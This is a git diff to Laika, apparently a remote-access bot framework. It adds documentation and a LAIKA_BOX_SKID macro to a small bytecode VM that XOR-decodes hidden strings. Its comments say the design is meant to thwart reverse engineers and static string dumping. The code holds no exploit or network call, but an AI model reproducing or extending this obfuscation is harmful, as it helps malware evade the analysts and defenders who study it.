diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index be5247c..44cd991 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,6 +15,7 @@ Looking for some simple tasks that need to get done for that sweet 'contributor' - Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support - Fix address sanitizer for CMake DEBUG builds - Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features. +- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h` ## Lib: Error Handling Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors. @@ -44,6 +45,9 @@ Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to ## Lib: Task Service Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server. +## Lib: VM Boxes +Laika has a tiny VM for decrypting sensitive information (currently unused, but functional). For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D + ## Bot: Platform-specific backends `bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys. \ No newline at end of file diff --git a/lib/include/lbox.h b/lib/include/lbox.h index 80060b0..76433e6 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -18,7 +18,7 @@ 2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string - dumping. + dumping. Some predefined boxes are made for you to use. */ struct sLaikaB_box { @@ -26,6 +26,29 @@ struct sLaikaB_box { uint8_t code[LAIKA_VM_CODESIZE]; }; +/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */ +#define LAIKA_BOX_SKID(_key) { \ + .unlockedData = {0}, /* reserved */ \ + .code = { /* stack layout: \ + [0] - unlockedData (ptr) \ + [1] - data (ptr) \ + [2] - key (uint8_t) \ + [3] - working data (uint8_t) \ + */ \ + LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, 0), \ + LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, 1), \ + LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \ + /* LOOP_START */ \ + LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \ + LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \ + LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \ + LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \ + LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \ + LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \ + OP_EXIT \ + } \ +} + LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { struct sLaikaV_vm vm = { /* boxes have 2 reserved constants, [0] for the output, [1] for the input */ diff --git a/tools/vmtest/src/main.c b/tools/vmtest/src/main.c index ede8134..0dec61e 100644 --- a/tools/vmtest/src/main.c +++ b/tools/vmtest/src/main.c @@ -5,39 +5,17 @@ #include "lbox.h" /* VM BOX Demo: - A secret message has been xor'd, this tiny bytecode chunk decodes 'data' into - 'unlockedData'. Obviously you wouldn't want a key this simple, more obfuscation - would be good (byte swapping, revolving xor key, etc.) + A secret message has been xor'd, the BOX_SKID is used to decode the message. */ int main(int argv, char **argc) { uint8_t data[] = { 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, - 0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, + 0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */ 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE }; - struct sLaikaB_box box = { - .unlockedData = {0}, /* reserved */ - .code = { /* stack layout: - [0] - unlockedData (ptr) - [1] - data (ptr) - [2] - key (uint8_t) - [3] - working data (uint8_t) - */ - LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, 0), - LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, 1), - LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, 0xDE), - /* LOOP_START */ - LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ - LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ - LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ - LAIKA_MAKE_VM_IA(OP_INCPTR, 0), - LAIKA_MAKE_VM_IA(OP_INCPTR, 1), - LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ - OP_EXIT - } - }; + struct sLaikaB_box box = LAIKA_BOX_SKID(0xDE); laikaB_unlock(&box, data); printf("%s\n", box.unlockedData);